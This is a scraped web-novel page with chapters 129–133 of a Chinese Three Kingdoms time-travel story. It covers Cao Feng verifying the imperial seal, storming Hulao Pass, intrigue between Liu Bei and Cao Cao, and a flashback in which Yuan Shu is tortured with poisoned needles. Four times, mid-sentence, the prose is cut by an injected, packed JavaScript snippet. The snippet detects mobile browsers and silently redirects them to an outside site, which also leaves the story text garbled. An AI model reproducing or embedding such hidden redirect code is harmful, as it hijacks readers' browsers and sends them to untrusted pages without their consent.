曹嵩激动得双手颤抖,小心翼翼地捧起玉玺,“还真是它!” 曹嵩的声音激动道:“我的好孙儿,当年答应爷爷的事儿,你还真办到了。” 曹风转向一旁满脸震惊的孙立,恭敬道:“孙爷爷,您也来瞧瞧。” “这玉玺是我从袁术那里得到的。您帮我看看这传国玉玺是真是假。我没见过真品,实在难以辨别。” 孙立作为大汉三朝太监总管,常伴皇帝左右。在这里的所有人中,确实只有他最有可能见过真正的玉玺。 孙立深吸一口气,屏住呼吸,凑近曹嵩。 他死死盯着对方手中那块传国玉玺——这方寸之物,曾让无数英雄豪杰为之丧命,如今再次出现在他眼前。 “材质对上了。”孙立低声说道,手指轻轻点了点玉玺的表面,“这是上等的蓝田玉,温润如脂,色泽内敛。” 他的目光移到玉玺上部:“玺钮的五条盘龙也没差别,每条龙的姿态都栩栩如生,龙鳞的雕刻工艺是秦代宫廷独有的技法。” 接着,他仔细辨认底部的文字:“‘受命于天,既寿永昌'',确实是秦代标准的小篆,笔画转折处的处理方式完全符合。有几次刘宏喝醉,我曾近距离见过它。” 最后,孙立全部的注意力都集中在玉玺的一个角上,那里有明显的黄金修补痕迹。 “就是它了!当年王莽篡汉时,太后怒掷玉玺,摔缺一角,后来用黄金补上的。” “这个黄金角的特征独一无二,绝对假不了!” 第129章 郝昭:我怎么感觉自己成了弃子? 曹嵩双手捧着传国玉玺,仔细端详了许久。神色复杂地叹了口气,随后小心翼翼地将它放回锦缎盒中。 曹嵩合上锦盒,神色凝重地摇头:“风儿,在没彻底斩断刘家江山气运之前,切莫将它常带身边。” 曹嵩枯瘦的手指点了点锦盒,“这上面还附着独属于刘家的龙气,若是反噬起来,是没有好下场的。” 曹风认真地点了点头。 他想起孙坚和袁术都曾接触过传国玉玺,最后都没落得好下场。 孙坚在洛阳井中得到这方玉玺后,不出半年,便战死岘山;袁术称帝时捧着玉玺,最终落得众叛亲离,渴求蜜水不得,呕血斗余而亡。 孙立眯着眼睛插话道:“我倒觉得这玉玺与公子有缘,伤不到他。” “之前天幕上播过公子出生时的景象。韦夫人当年难产,直到有条五爪金龙出现在产房上空。那金龙低头行礼,它嘴里衔着的龙珠飞进产房后,公子才出生。” 关于天幕的事,曹风早从程昱那里听说过,但程昱没提过这个细节。 现在他终于明白自己为何会穿越到这个时代。 前世他为保护一颗龙珠受伤,鲜血染红龙珠后就昏迷不醒,再睁眼已身在东汉末年。 不过穿越这事,他绝不会告诉任何人。 想到这里,曹风拍拍传国玉玺笑道:“难道我是龙珠转世?” “不止如此……”孙立正色道,“自古金龙叩首就是天命所归的征兆!小皇帝看到这段影像后,差点气疯。” 曹风冷笑:“他不能疯,我娘的仇还没报。最迟明年,我就要亲手向小皇帝讨回血债。” …… 平安喜乐的一个除夕夜,过去了。 祭奠完韦婉和曹昂后,曹风再次率军离开凉州,征讨曹操。 天下风起云涌! 天水城门下,韦康一手按着凉刀,一手拽住曹风胳膊。 “风儿,舅舅虽然年过半百……”他拍了拍胸膛,“但还能再……你那句话怎么说来着?” 曹婴在旁边提醒:“还能再燃一把!” “对对对!”韦康揉揉曹婴的小脑袋,“虽然老了,但还能再拼一次。让舅舅跟你一起出征吧。” “小妹的仇还没报完,我这个当哥哥的躲在凉州,心里过不去。将来**都没脸见她。” 曹风安慰道:“舅舅,娘亲在天之灵不会怪您。您在凉州守着她也好。再说凉州是咱们根基,交给您我才放心。” 韦康这才作罢。 甄宓将平安符塞进曹风手里,忧心忡忡:“你现在是三军统帅,又是家里顶梁柱,别再冒险了。不许你亲自上阵杀敌。” “知道了。”曹风捏捏甄宓倾国倾城的脸蛋,随后便将她的话忘到了脑后。 甄宓又对张嫣和马云禄说:“我不会武艺,不能随夫君上阵。两位妹妹要多加小心。” 张嫣抱着无名剑微微点头,周身仙气越发明显。 马云禄露出酒窝笑道:“甄姐姐放心,我一定保护好夫君。” 甄宓轻点她额头:“就数你最会陪他胡闹。” 她又嘱咐杜芷:“姐姐,照顾好夫君起居,别让他总熬夜处理军务。” 杜芷为难地低头:“我……我……” 甄宓叹气:“罢了,这个家也就我能劝住他。” 城墙上,孙立望着众人依依不舍地与曹风道别,你一言我一语地叮嘱着。他转头对曹嵩笑道:“老哥哥不去送行?好歹也嘱咐几句?” “不去!”曹嵩拄着拐杖,“我孙儿天下无敌,用不着嘱咐。” 曹嵩顿了顿,又叹气道:“我是怕那个不成器的儿子见了我,又赖着不肯走了。” 原来曹德这次也随军出征。 曹嵩想让他挣些军功,等自己百年后也好谋生。其实以曹风的权势,一句话就能给曹德高官厚禄,但曹嵩不愿让人说闲话,指责曹风任人唯亲。 城下的大军开拔后,曹嵩埋怨道:“多好的家,都被曹阿瞒那混账毁了。” 他突然张望起来:“老弟,我眼花,你帮我看看暖暖在哪?” 孙立抬眼看去,片刻后心中也是纳闷。刚才还在的小丫头,一转眼就不见了。 曹风正在马车里批阅军报,突然“砰”的一声,一个大箱子从里面被顶开。 “三叔!惊喜不?”曹婴像只小兔子般蹦了出来,银铃般的笑声在车厢里回荡。 曹风扶额苦笑,这丫头到底还是偷偷跟来了。 “惊喜没有,倒是让三叔惊吓了。” 曹婴一个箭步窜到曹风身旁,双手紧紧抱住他的胳膊,仰起小脸笑得眉眼弯弯。 “咯咯咯,我和三叔一起去骂曹孟德。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674104|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>忽然,一缕清越的琴音穿透山风飘来。 曹风掀开车帘,只见远处是大雪覆盖的银山,那悠扬的琴声正从山间缭绕而下。 先是《大风歌》,后是《龙吟曲》! 曹风转头对满脸好奇的曹婴笑道:“是蔡大家来送咱们了。” 十日后…… 虎牢关。 满脸是血的郝昭吐出一口血水,骂道:“这先登营简直就是一群疯子!不怕死我还能理解,可他们难道不用休息的吗?” 先登营已经连续猛攻虎牢关十天,双方死伤惨重。 郝昭心里清楚,到了这一步,拼的就是谁更狠! 谁先撑不住,谁就输! 如果他们守军松懈,虎牢关立刻就会被攻破;可如果麴义的先登营撑不住了,他们的士气也会一落千丈,再也组织不起这样的猛攻。 一旁的副官刚躲过一支箭,也跟着骂道:“那个‘程’字旗下的**指挥官也是个疯子!箭射得这么密,就不怕误伤自己人?” 这时,一名捂着受伤胳膊的将领急匆匆跑过来,大喊道:“将军!援军再不来,咱们真的守不住了!” 郝昭一脚踹过去,怒吼道:“少在这儿扰乱军心!” 表面上强装镇定的郝昭,心里其实也越来越没底。 先登营已经够难缠了,更让他头疼的是,对面竟然还出现了刘晔的霹雳车。 他咬牙对副官下令:“你亲自去陈留,请曹仁将军派兵增援!” “唉!”副将叹了口气,转身冲下城楼。 郝昭望向远处飘扬的“曹”字帅旗,低声嘀咕:“三公子和明公到底有什么深仇大恨,下手这么狠?” “还有,荀彧到底在搞什么鬼!事先连敌军的底细都没跟我讲清楚。我怎么感觉自己是被骗来当弃子,消耗对方的呢?” 曹字帅旗下,曹风也在望着郝昭的将旗。 许褚焦急道:“公子,先登营的兄弟们已经撑不住了,让我们上吧!” 曹风摇了摇头,沉声道:“再等等!” 就在这时,甄何快步走来,将一封密信递给曹风:“公子,徐荣将军从上庸出兵,日夜奔袭,大破曹仁派来的援军,还生擒了敌军主将牛金,同时切断了郝昭的退路。” 曹风松开紧握的拳头,猛地抬手一挥: “全军压上!” 第130章 见到好多熟人,郝昭蒙圈了 随着曹风一声令下,虎牢关上的郝昭脸色变得煞白。 城下,密密麻麻的士兵像潮水一样朝虎牢关冲来。他这辈子还是头一回见到这么多攻城的敌人。 郝昭整个人麻了。 除了先前的先登营,战场上又多了两面迎风招展的旗帜——陷阵营和夺旗营! 郝昭的副将王凌倒吸一口凉气,声音发颤:“是……是高顺的陷阵营!” 夺旗营郝昭不太了解,但陷阵营的威名,他早就如雷贯耳。这支由高顺率领的精锐部队,曾在濮阳之战中以八百人击溃数万敌军,号称“陷阵之志,有死无生”。 郝昭愤怒地一掌拍在城垛上,“这是城池攻防战,你们陷阵营来凑什么热闹?!” 城墙上的守军开始骚动,有人已经开始偷偷往后缩。 郝昭的亲兵队长大声呵斥着维持秩序,但收效甚微。 就在这时,一支流矢破空而来,正中郝昭身边一名亲兵的咽喉。 那亲兵瞪大眼睛,双手捂着喷血的脖子,缓缓倒下。 身边的士兵接连倒下,敌军已经攻上城头。 郝昭不甘心地怒吼:“荀彧害惨我!” 他想起临行前荀彧信誓旦旦的保证:“虎牢关是天险,固若金汤,将军只需坚守三日,援军必至。” 就在这时,之前派去求援的副官张范跌跌撞撞地跑了回来。 他的盔甲上插着三支很特别的箭矢,左臂也不自然地垂着。 张范中了徐荣的三箭,但还是强撑着来到郝昭面前。他嗓子沙哑,艰难地说道:“将军……我……回来了……” 郝昭急忙扶住他:“张范!援军呢?” 张范带着哭腔道:“将军,曹仁派牛金将军率五千精兵来救援,但行军路线被敌军军师识破。牛金将军遭遇埋伏,被敌将徐荣生擒。” “我们……我们既无援军,也无退路了!”说完这话,他再也支撑不住,昏死过去。 郝昭咬紧牙关,握刀的手青筋暴起:“跟他们拼了!” 他转身对剩余士兵喊道:“弟兄们,今日唯有死战,才能镇守城池!” 话音刚落,一个手持大刀的壮汉从云梯上一跃而上。 壮汉虎背熊腰,正是曹风麾下猛将许褚。他大笑着向郝昭冲来:“拿命来!” 两人交手不到三个回合,郝昭就感到虎口发麻。 许褚的第三刀势大力沉,直接将郝昭的大刀震飞。 眼看许褚的大刀就要砍中自己的脖子,郝昭闭上眼睛准备赴死。 刀刃在距离脖颈几厘米处突然停住。 郝昭隐约听见有人说:“许将军,这人不能杀。公子吩咐要活口!” 许褚收回大刀,对刚刚登上城头的高顺说:“幸亏高将军及时赶到,否则就坏了公子的大事。” 他瞥了眼郝昭,冷哼一声:“算你命大。” 郝昭刚睁开眼,后脑就猛地挨了一下,顿时眼前一黑,昏死过去。等他再醒过来时,已经在曹风府邸中。 他抬眼看去,发现了好多熟人。 程昱,刘晔,夏侯渊的两个儿子,还有…… 郝昭震惊的指着他们,磕磕巴巴道:“你……他……还有……他怎么还活着!” 回应他的,是几声轻咳。 看着眼前这些人,郝昭恍惚间有种错觉,仿佛自己又回到了曹操麾下,而非身在曹风府中。 …… 曹风刚攻下虎牢关不久,远在邺城的曹操也从昏迷中苏醒。 三日后,在钟繇、**等人的建议下,曹操在铜雀台自立为魏王。得知虎牢关失守,曹操立即在延津、官渡等地集结兵马。营帐连绵数十里,旌旗遮天蔽日。他准备与曹风再打一场官渡之战,以定天下大势。 就在曹家内斗激烈之时,刘备和孙权也准备插手其中。 长江南岸,东吴的水师正在集结;益州境内,刘备的军队也在暗中调动。 曹操称王的举动彻底打破了汉室旧制。 刘备听闻消息后痛哭流涕,“曹贼在邺城称王,下一步他要做什么?是不是马上就要篡位称帝了?!汉室四百年基业,难道要毁于一旦?” 在诸葛亮、庞统等人的劝慰下,刘备才擦干眼泪。 他红着眼睛问:“二位军师,如今该如何是好?” 诸葛亮轻摇羽扇,目光深邃:“主公勿忧。如今有周瑜为主公谋划西川。主公可趁二曹相争之机,先取上庸,再图汉中。” 庞统却持不同意见,他捋着短须说:“孔明,我认为让周瑜取西川会贻误战机。主公应亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674105|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 率大军,全力攻取蜀地作为根基。” 刘备沉思良久,最终他采纳了诸葛亮的建议。他不愿主动攻打同宗刘璋,损害自己“仁德”的名声。 “孔明,该派谁去攻占上庸?”刘备询问道。 这时,刘封抢先出列,抱拳道:“父亲,孩儿愿为父亲分忧!” 他年轻的面庞上写满自信,险些骗过了刘备。 刘备最终还是看向诸葛亮,后者微微摇头:“我看还是……” 刘封打断诸葛亮,急切地说:“父亲,孩儿听说黄忠老将军的恩人死在曹风手上。如今上庸已归曹风所有。只要父亲让黄老将军领兵攻打上庸,孩儿有把握说服他归顺!” 刘备顿时来了兴致。 他身子微微前倾:“哦?此事当真?” 刘备转头见诸葛亮眉头微皱,他又补充道:“封儿,此事关系重大,不可儿戏。” 刘封信保证道:“孩儿愿以性命担保!” 刘备高兴地拍案:“好!封儿若能说服黄老将军投效,就依你所言。为父还让你担任副将。” 刘封抱拳应诺,转身就要往外走:“孩儿这就去请黄老将军出山!” “大公子不必心急。”诸葛亮抬起羽扇拦住刘封。 诸葛亮看向刘备:“此事当从长计议。不如先派人请黄老将军前来,主公与他亲自商议此事,以示诚意。” 诸葛亮对刘封仍不信任。 一来他要验证刘封所言真假,通过当面与黄忠交谈,观察其反应判断虚实。 二来即便刘封所言属实,也不能让他去劝降黄忠。诸葛亮不想让黄忠欠刘封这个人情,以免日后生出变故。 刘封脸色顿时沉了下来:“军师这是不信任我吗?” “此言差矣。”诸葛亮淡然一笑,羽扇轻摇,“我是为大公子考虑。” “只有主公亲自劝降黄老将军,才能说服关、张二位将军,让黄老将军统兵攻打上庸。否则,以二将军的脾气定然会反对。” 刘备恍然大悟,连连点头:“孔明所言极是。” 他对刘封笑道:“封儿,就按孔明说的办。功劳还是你的,为父仍让你做黄老将军的副将。” 见目的达到,刘封这才勉强压下不满,拱手道:“孩儿遵命。” 第131章 曹植:只有我三哥懂得欣赏我的才华 刘备刚让侍从去请黄忠来府上,就突然听到门外传来一阵急促的脚步声。 一名侍卫匆匆闯进大厅,单膝跪地抱拳禀报:“主公,东吴使者诸葛瑾正在府外求见,说是有要事商议。” 刘备闻言眉头一皱,手中茶碗重重放在案几上,溅出几滴茶水。他站起身,不耐烦道:“这孙权还有完没完?上月才派鲁肃来讨要荆州,明明已经说好用西川作为交换,如今又来聒噪!” 说着,刘备就要转身往后堂走去。 这是之前诸葛亮给刘备出的主意——尽量躲着东吴派来讨要荆州的使者。 就一个字:拖。 “主公稍等。”诸葛亮轻摇羽扇,笑着拦住刘备。 “最近曹操在邺城僭越称王,曹家内部又在争斗,东吴肯定不会坐视不理。我夜观天象,发现群星忽明忽暗,看来天下就要大乱了。依我看,孙权这次派兄长前来,不是讨要荆州,而是另有企图。” 刘备这才又坐了回去,挥手道:“请东吴使者诸葛瑾进来吧。” 不多时,诸葛瑾在侍从引领下快步穿过回廊。 入厅后先向刘备深施一礼,诸葛瑾又从袖中取出一封烫金帛书双手呈上。 “我家至……”诸葛瑾话说到嘴边,突然顿住。 他原想说“我家至尊”,又想起临行前周瑜的叮嘱:在刘备那儿,可别张口闭口尊称孙权为‘至尊'',不然搞不好会被刘备轰出去。 诸葛瑾急忙改口道:“我家主公邀请玄德公共讨**曹操。我军已集结十万精锐,战船三百艘,三日后兵发合肥!” 刘备接过帛书却不急着展开,而是将目光转向诸葛亮。 后者会意,轻抚长须沉思片刻,忽然眼睛一亮:“孙刘联盟乃天下大势。请子瑜回复吴侯,我军将派云长率精兵两万攻打襄阳,共诛**。” “另外……”诸葛亮补充道,“请大都督尽早发兵攻取西川。” 诸葛瑾向刘备拱手道:“我家大都督三日后就要率军攻打西川。还请刘皇叔不要忘记当初的承诺。” 刘备微微一笑,点头道:“既有白纸黑字为证,自然不会食言。” 待诸葛瑾告退后,刘备脸上的笑容立刻消失了。 他忧心忡忡地看向诸葛亮:“孔明,襄阳也是荆州的地盘,我们要是打下来,难道又要还给东吴?” 诸葛亮从袖中取出一卷帛书,走到刘备身旁。他将帛书在案几上徐徐展开,手指轻点其中一行小字。 “主公请看。当日约定归还的仅是江陵、长沙等已得到郡县。那时襄阳尚在曹贼手中,自不在归还之列。此乃亮当初‘借荆州''时特意留下的伏笔。” 刘备闻言拍案而起,大笑着道:“妙哉!孔明真乃神算也!” 邺城。 魏王府内弥漫着浓郁的药香。 张仲景刚为曹操换完药,正在收拾药箱。 曹操靠在锦缎软枕上,望着铜镜中自己消瘦的面容有些出神。 “报!”一个侍卫跪在殿外,语气有些惶恐,“曹嵩大人数日前,带着府库中的十余箱珍宝离开了邺城!” 曹操手中药碗一晃,他强压怒火,声音嘶哑:“我这个爹啊。就随他去吧……” 他同时心中默念,“不气,气大伤身……还会要命。” 曹操又好奇道:“可知我父亲往何处去了?” 那侍卫战战栗栗道:“禀魏王!曹嵩大人当时是往潼关方向去了。应该是带着那些珍宝……投靠三公子!” “啪!”药碗砸在地上摔得粉碎。 曹操剧烈咳嗽起来,指着地上碎片怒道:“资敌!这是资敌!” 侍医慌忙上前为曹操抚背顺气。 曹操摔碎一个药碗仍不解气,又接连摔了三个,这才慢慢平复下来。 还有好多军报要处理,曹操只能先将这件事情放下。 他拾起一个军报,看过后沉声道:“曹风有麴义的先登死士,我也有每战必先登的乐进。他有高顺的陷阵营,我有李典的青州兵。” 曹操突然提高声调:“传令!让乐进、李典即刻回师邺城!” 站在殿角的荀彧嘴唇动了动,最终只是深深作揖。 自从曹操晋位魏王,他腰间那块象征汉室旧臣的玉佩就再没摘下过。也不再为曹操献计。 曹操察觉到了荀彧的变化。自他称王以来,君臣之间早已离心离德,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674106|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双方都还维持着表面上的体面。 荀彧迫于形势,不得不暂时依附曹操来实现复兴汉室的抱负。他甚至把希望寄托在了曹操的子嗣身上,特别是断了手的曹丕。即便曹丕也有不臣之心,将来想要篡位,这断手之伤也会成为他最大的阻碍。 曹操则是实在无人可用了。他的智囊团大部分都投靠了曹风。他的武将也被曹风生擒或生死不知。 其实他现在能用的人还有两个。一文一武,都关在大牢里。只是这两人都有反骨,得慎重使用。 又看完一份军报,曹操脸上终于露出笑容,不过这笑容充满讽刺。 “孙权这个碧眼小儿也敢来凑热闹,真是欠收拾!等我解决曹风那个逆子,定要让他十万大军灰飞烟灭。” 曹操压根儿不指望张辽能扛住孙权的十万大军。合肥守军撑死不过七千,真正能顶事的精锐连八百都难凑齐。 曹操冷笑着盘算:既然张辽这降将敢抗命不归,那就让他当个诱饵拖着孙权好了。 实际上不仅曹操这样认为,刘备、诸葛亮他们也都这么想。唯独曹风很看好张辽,关羽倒是没明确表态。 曹操瞥了眼旁边心神不定的曹植,心中充满无奈。现在能继承王位的子嗣就剩曹植一个了,可他实在担心曹植能不能担此重任。 曹操叹了口气放下军报,抬头望向天幕。 按照天幕播放的顺序,马上就要演到官渡之战了。 想到自己还要和曹风再打一次官渡之战,曹操又开始头疼。现在的曹风,恐怕比当年的袁绍更难对付。 天幕画面开始播放,曹操收起思绪。 曹植被突然出现的天幕吓了一跳,差点当场作诗一首! 他指着天幕结结巴巴地说:“是、是三哥的高光时刻?” “那个逆子不是你三哥,也不是我曹孟德的儿子!”曹操厉声训斥,“闭嘴,认真看!” 曹植不敢顶嘴,心里却嘀咕:“他永远是我三哥。只有三哥真正欣赏我的才华。三哥说过,《唐诗宋词集》里那些作者都比不上我。” “三哥还说‘天下才共一石,我弟曹子建独占八斗,谢灵运得一斗,自古及今共分一斗''。” 第132章 袁术:没有蜜水的皇帝不是好皇帝 天幕继续播放着承接上次的内容。 【魏续跟随曹军征讨袁术的途中,被一支不知从哪儿射来的冷箭射中脖子。这位跟随吕布多年的老将,就这样瞪大双眼,从马背上栽落下来。】 只**魏续一员不重要的将领,并且曹操的大军并未遭遇预想中的伏击,这件事很快就被人们淡忘了。 自从纪灵这位袁术麾下第一大将投靠了曹风后,本就人才不富裕的袁术集团更是雪上加霜。 【面对曹操大军的步步紧逼,袁术的军队节节败退,士气低落。】 【袁术之前擅自称帝,早已成为过街老鼠,人人喊打。走投无路的袁术前往投奔旧部雷薄和陈兰。没想到这两个见风使舵的家伙不仅闭门不纳,还派人羞辱了他一番。】 【万般无奈之下,袁术只能厚着脸皮转投自己的兄长袁绍。】 【为了活命,袁术放下了所有尊严。他不仅愿意放弃帝号向袁绍称臣,还承诺献上传国玉玺。这个条件终于打动了袁绍,他勉强同意暗中接纳这个不成器的弟弟。】 【当时袁绍的长子袁谭正担任青州刺史,手握重兵。袁绍派他派人来接应袁术。】 【袁术计划从下邳北上,经徐州前往青州与袁谭会合。然而曹操早就料到了这一着,他派刘备和朱灵率领精锐骑兵在半路拦截。袁术的残兵败将根本无力突破这道防线,只能灰溜溜地退回寿春老巢。】 【时值建安二年六月,酷热难当。】 【袁术带着最后的亲信退守到江亭。】 【大帐之内,袁术敞着衣襟,对身旁战战兢兢的侍卫厉声呵斥:“朕快渴**!快去给朕弄些蜜水来喝!”】 虽然名义上袁术已将帝号让给袁绍,但在真正见到袁绍之前,他还固执地保持着皇帝的做派。 【那个面黄肌瘦的侍卫跪在地上,声音发抖:“陛、陛下,军中的麦屑都只剩三十斛了,实在找不到蜂蜜啊!”】 【“混账!”袁术一把将案几上的竹简扫到地上,“朕乃九五之尊,富有四海,怎会连蜜水都没有!定是你们这些废物私吞了!”】 【侍卫吓得连连磕头。】 【就在这时,帐外传来一阵脚步声,部将徐璆掀开帐帘走了进来。】 【他使了个眼色,示意那个可怜的侍卫赶紧退下。】 【徐璆整了整衣冠,走到袁术身边,脸上堆着虚伪的笑容:“陛下,臣知道哪里有蜜水,不过……”他故意拖长了声调,“需要用玉玺来换。”】 【“你……”袁术猛地站起身,手指颤抖地指着对面的徐璆,“你这乱臣贼子竟敢觊觎朕的玉玺!来人啊,把徐璆给朕拿下!”】 【然而帐外没有任何回应。袁术不甘心地又喊了几声,这才惊恐地意识到,自己已经被孤立了。】 【徐璆脸上的笑容渐渐消失,取而代之的是狰狞的表情。他突然伸手掐住袁术的脖子,将这位“皇帝”按回座位上:“老东西,别白费力气了。这周围的侍卫都换成了我的人。”】 【袁术拼命挣扎,枯瘦的双手抓着徐璆的手腕,从牙缝里挤出几个字:“你是谁的人,要玉玺献给谁?”】 【“现在嘛,我还是您的护卫首领。”徐璆突然大笑起来,笑声中充满嘲讽,“等拿到传国玉玺献给曹公,我就是曹公的功臣了!总比跟着你这具冢中枯骨等死强。”】 【“大胆!”袁术气得浑身发抖,“你竟敢称朕为冢中枯骨!”】 【“这是曹公送给您的评价。”徐璆凑到袁术耳边,一字一顿地说,“还满意吗?”】 【说着,徐璆突然加重手上的力道,“玉玺在哪?!】 【袁术被掐得直翻白眼,拼尽最后的力气,向帐外挤出几个字:“救……救朕……封王……侯……”】 【“哈哈哈!”徐璆松开手,拔出腰间佩剑,“附近都是我的人,此时不会有人进帐内救你。就算你叫破喉咙也没有用!”说着突然一剑刺穿袁术的大腿。】 【“啊!”袁术发出杀猪般的惨叫,鲜血顿时染红了明黄色的龙袍。】 【徐璆残忍地转动剑柄:“说!玉玺在哪?说出来给你个痛快!”】 【就在这时,一个懒洋洋的声音从帐门口传来:“谁告诉你没人能进这大帐的?”】 【徐璆大惊失色,急忙拔剑转身。只见一个二十出头的年轻人正倚在门框上,怀里抱着一柄造型奇特的长剑。年轻人睡眼惺忪,好像刚睡醒一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674107|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。】 【“你是何人?”徐璆厉声喝道。】 【史阿打了个哈欠,懒洋洋地说道:“曹风公子手下,魑右。”】 史阿好像除了在**时,永远都睡不醒。 【听到“曹风公子”四个字,徐璆立刻换上一副谄媚的表情,收剑入鞘:“原来是自家人!我正要投靠曹公,您既然是曹公子的属下,咱们就是同僚了。”】 作为洛阳城最有名的纨绔子弟,曹风的“恶名”确实人尽皆知。恶名也算是名声远扬。 【史阿摇摇头:“你搞错了。我是曹公子的人,不是曹公的人。”】 【话音未落,史阿手中的剑已经如毒蛇般刺出。作为专业刺客,他的剑又快又准。徐璆根本来不及反应。】 【徐璆瞪大眼睛看着刺入自己胸膛的剑锋,脸上写满了难以置信。】 【直到倒地咽气的那一刻,他还在喃喃自语:“有什么区别……曹公,曹公子,不都是曹家,就差个‘子’字……”】 【袁术看到这一幕,眼珠一转,强忍腿上的剧痛,挤出一个难看的笑容:“这位壮士!朕听说曹操对曹风公子颇为苛刻。这样的父亲,不要也罢。”】 【“朕的太子被匈奴人所害,膝下无子。”袁术越说越激动,“只要曹风公子愿意救朕,朕愿收他为义子!他就是朕的太子,将来这皇位……”】 【“噗嗤——”史阿实在没忍住笑出声来,转头对着帐外喊道:“公子,这老家伙想让你当他的……”】 【“闭嘴!”帐帘猛地被掀开,曹风阴沉着脸走了进来,身后跟着甄何和李儒。】 【袁术震惊地发现,武艺高强、放荡不羁的史阿,在曹风面前竟然格外老实。】 袁术心里纳闷:“曹风这个出了名的纨绔子弟,居然还有这种本事?” 【曹风瞥了史阿一眼:“多嘴多舌,这次任务的报酬扣一本剑谱。”】 【“啊?公子,这……”史阿刚要辩解,就看到曹风又竖起一根手指。】 【“减两本!”曹风的声音不容置疑。】 【史阿张了张嘴,眼看曹风第三根手指就要竖起,连忙捂住自己的嘴巴,像阵风一样溜出了大帐。】 第133章 李儒的**审讯术 【曹风站在营帐中央,面无表情地看着袁术。】 帐内弥漫着一种奇怪的药草气味,甚至盖过了原本刺鼻的血腥味。这草药气味是从李儒那里散发出的味道。 【对于袁术这种人,曹风连一句废话都懒得说,直接伸出手掌:“传国玉玺!”】 【袁术拖着伤腿,勉强撑起上半身。他强忍着腿部传来的剧烈疼痛,挤出一个难看的笑容:“年轻人何必如此着急?只要你答应做朕的太子,到时候别说玉玺,这天下迟早都是你的……”】 【“你个**骷髅王!”曹风毫不客气地打断袁术,眼中闪过一丝厌烦。他转身对身后的李儒道:“半炷香时间,我要见到传国玉玺。”】 【李儒面具后的眼睛闪过一丝兴奋的光芒。他恭敬地行了一礼:“公子稍候,玉玺马上就会到您手上。”】 【说着,李儒从怀中取出一个精致的黑色皮囊,展开后露出整齐排列的十根特制银针。】 【袁术还没反应过来,就被甄何一把按在了地上。这个力大无穷的壮汉像抓小鸡一样将他牢牢制住。】 【“你……你这个面具人想对朕做什么!”袁术惊恐地挣扎,却动弹不得。】 【他眼睁睁看着李儒将银针依次插入几个颜色诡异的小瓶中。那些液体有的泛着莹绿色,有的则是浑浊的紫黑色……】 【当李儒取出末端已经变成乌黑色的银针时,袁术终于明白了。这些针上都淬了剧毒!】 【“你不要过来!不然我做鬼也不会放过你!”袁术拼命蹬着那条没受伤的腿,想要往后缩。】 此刻他已经吓得忘记自称“朕”了。 【但在甄何的铁钳般的大手下,袁术一寸都挪动不了。】 【李儒面具后传来冰冷的声音:“好,我不过去。”】 【袁术闻言稍稍松了口气,额头上渗出豆大的汗珠。】 他暗自庆幸:“还好这个戴面具的怕鬼……” 然而下一秒,他的希望就破灭了。 【只见甄何单手提起袁术的衣领,像拎小鸡一样将他拖到了李儒面前。】 【李儒专注地挑选着银针,如数珍宝。他轻轻晃动着几根银针,观察针尖毒液的状态。】 【“就是你了!”李儒两根修长的手指夹起一根银针,快速扎进了袁术的左肩。】 起初,袁术只觉得被扎的地方传来一阵冰凉感,甚至比喝了蜜水还要舒服。他心中暗想:“莫非是用假**吓唬我?” 但这种错觉很快就被打破了。袁术左半边身体开始变得越来越冷。 袁术能清晰地感觉到寒冷从肩膀开始蔓延,逐渐侵蚀到手臂、胸膛、腰部…… 【袁术的左半边身体开始不受控制地痉挛。】 【袁术的牙齿不受控制地打颤:“你……你这面具人对我做了什么?”】 【李儒对袁术的质问置若罔闻,又拈起一根银针,精准地刺入袁术右肩。】 【“啊!”袁术发出一声惨叫。】 与左半边的寒冷截然相反,右半边身体像被扔进了火炉,每一寸皮肤都在灼烧。这种冰火两重天的折磨让袁术痛不欲生。 【仅过了几分钟,袁术就开始翻白眼,口吐白沫:“我……给……”】 【李儒又拿起第三根银针,面具后的嘴角勾起一抹冷笑:“你在说什么?听不清。”】 